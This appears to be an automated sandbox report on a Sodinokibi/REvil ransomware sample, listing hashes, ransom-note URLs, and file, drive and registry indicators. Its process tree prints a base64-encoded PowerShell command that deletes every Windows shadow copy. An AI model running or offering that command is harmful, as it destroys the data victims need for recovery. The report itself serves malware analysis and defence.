Analysis
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max time kernel
120s -
max time network
128s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
30-01-2022 07:56
Static task
static1
Behavioral task
behavioral1
Sample
23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe
Resource
win10-en-20211208
General
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Target
23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe
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Size
165KB
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MD5
46357f434f7a6af45d039812360c5fb4
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SHA1
413637aa0d885aa3f35aef237d04c549d74b1d89
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SHA256
23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c
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SHA512
b48c571d0bc28eae58426eebee334baa49a78eb6f19a2efc31997233cd97caa914356657980222e0acf9eb982b45978ab103168c11f5a5964edce628816b3089
Malware Config
Extracted
C:\fm13y283-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/E0066B6C34257BA3
http://decryptor.cc/E0066B6C34257BA3
Signatures
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Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
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Modifies extensions of user files 5 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exedescription ioc process File renamed C:\Users\Admin\Pictures\PopInitialize.tiff => \??\c:\users\admin\pictures\PopInitialize.tiff.fm13y283 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File renamed C:\Users\Admin\Pictures\RequestClear.tif => \??\c:\users\admin\pictures\RequestClear.tif.fm13y283 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened for modification \??\c:\users\admin\pictures\PopInitialize.tiff 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File renamed C:\Users\Admin\Pictures\ExitExport.tif => \??\c:\users\admin\pictures\ExitExport.tif.fm13y283 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File renamed C:\Users\Admin\Pictures\CopySkip.png => \??\c:\users\admin\pictures\CopySkip.png.fm13y283 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exedescription ioc process File opened (read-only) \??\F: 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened (read-only) \??\K: 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened (read-only) \??\Q: 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened (read-only) \??\R: 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened (read-only) \??\A: 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened (read-only) \??\G: 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened (read-only) \??\X: 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened (read-only) \??\Y: 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened (read-only) \??\W: 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened (read-only) \??\Z: 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened (read-only) \??\E: 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened (read-only) \??\N: 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened (read-only) \??\O: 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened (read-only) \??\S: 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened (read-only) \??\U: 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened (read-only) \??\M: 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened (read-only) \??\P: 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened (read-only) \??\T: 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened (read-only) \??\B: 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened (read-only) \??\H: 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened (read-only) \??\I: 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened (read-only) \??\J: 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened (read-only) \??\L: 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened (read-only) \??\V: 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened (read-only) \??\D: 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
Processes:
23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\7k7xf.bmp" 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe -
Drops file in Program Files directory 38 IoCs
Processes:
23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exedescription ioc process File opened for modification \??\c:\program files\GrantExpand.ppsx 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened for modification \??\c:\program files\OutDismount.mpeg3 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened for modification \??\c:\program files\RedoTest.rar 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened for modification \??\c:\program files\RemoveRepair.xla 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened for modification \??\c:\program files\UnregisterResume.otf 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened for modification \??\c:\program files\ConvertFromUnregister.xltm 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened for modification \??\c:\program files\HideProtect.3g2 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened for modification \??\c:\program files\ReceiveRead.docx 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened for modification \??\c:\program files\StopSend.wm 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened for modification \??\c:\program files\UndoPush.pot 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened for modification \??\c:\program files\FindSubmit.7z 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened for modification \??\c:\program files\MountDismount.wdp 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened for modification \??\c:\program files\PushHide.ADT 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened for modification \??\c:\program files\StopStep.M2TS 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened for modification \??\c:\program files\SetRead.dxf 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened for modification \??\c:\program files\UpdateResume.rm 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File created \??\c:\program files\fm13y283-readme.txt 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened for modification \??\c:\program files\DebugDisable.ttc 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened for modification \??\c:\program files\MergeShow.csv 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened for modification \??\c:\program files\ResetDeny.m4v 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened for modification \??\c:\program files\RestartRedo.vb 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File created \??\c:\program files (x86)\fm13y283-readme.txt 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened for modification \??\c:\program files\DisableUndo.jtx 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened for modification \??\c:\program files\EnterRename.ppt 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened for modification \??\c:\program files\ShowConnect.xla 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\desktop\fm13y283-readme.txt 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened for modification \??\c:\program files\AddGrant.svg 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened for modification \??\c:\program files\CompleteUse.vstx 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened for modification \??\c:\program files\DenyPush.wmx 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened for modification \??\c:\program files\RenameUnpublish.m4v 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\fm13y283-readme.txt 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\fm13y283-readme.txt 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened for modification \??\c:\program files\ConvertSwitch.sql 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened for modification \??\c:\program files\EnableRead.rle 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened for modification \??\c:\program files\MoveCompress.rar 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened for modification \??\c:\program files\RestartPop.ps1xml 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened for modification \??\c:\program files\SkipBlock.htm 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe File opened for modification \??\c:\program files\ProtectUnlock.reg 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exepowershell.exepid process 1736 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe 1752 powershell.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
Processes:
23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exepowershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 1736 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe Token: SeDebugPrivilege 1752 powershell.exe Token: SeBackupPrivilege 1652 vssvc.exe Token: SeRestorePrivilege 1652 vssvc.exe Token: SeAuditPrivilege 1652 vssvc.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exedescription pid process target process PID 1736 wrote to memory of 1752 1736 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe powershell.exe PID 1736 wrote to memory of 1752 1736 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe powershell.exe PID 1736 wrote to memory of 1752 1736 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe powershell.exe PID 1736 wrote to memory of 1752 1736 23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe powershell.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe"C:\Users\Admin\AppData\Local\Temp\23d96b2a01d190a2146849c6cfe59fea9f3c6c6a8f71367dacaf89d3fa1ac51c.exe"1⤵
- Modifies extensions of user files
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1736 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1752
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:616
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1652
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
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memory/1736-54-0x0000000076911000-0x0000000076913000-memory.dmpFilesize
8KB
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memory/1752-55-0x000007FEFC061000-0x000007FEFC063000-memory.dmpFilesize
8KB
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memory/1752-57-0x0000000002820000-0x0000000002822000-memory.dmpFilesize
8KB
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memory/1752-59-0x0000000002824000-0x0000000002827000-memory.dmpFilesize
12KB
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memory/1752-58-0x0000000002822000-0x0000000002824000-memory.dmpFilesize
8KB
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memory/1752-56-0x000007FEF3160000-0x000007FEF3CBD000-memory.dmpFilesize
11.4MB
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memory/1752-60-0x000000001B6F0000-0x000000001B9EF000-memory.dmpFilesize
3.0MB
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memory/1752-61-0x000000000282B000-0x000000000284A000-memory.dmpFilesize
124KB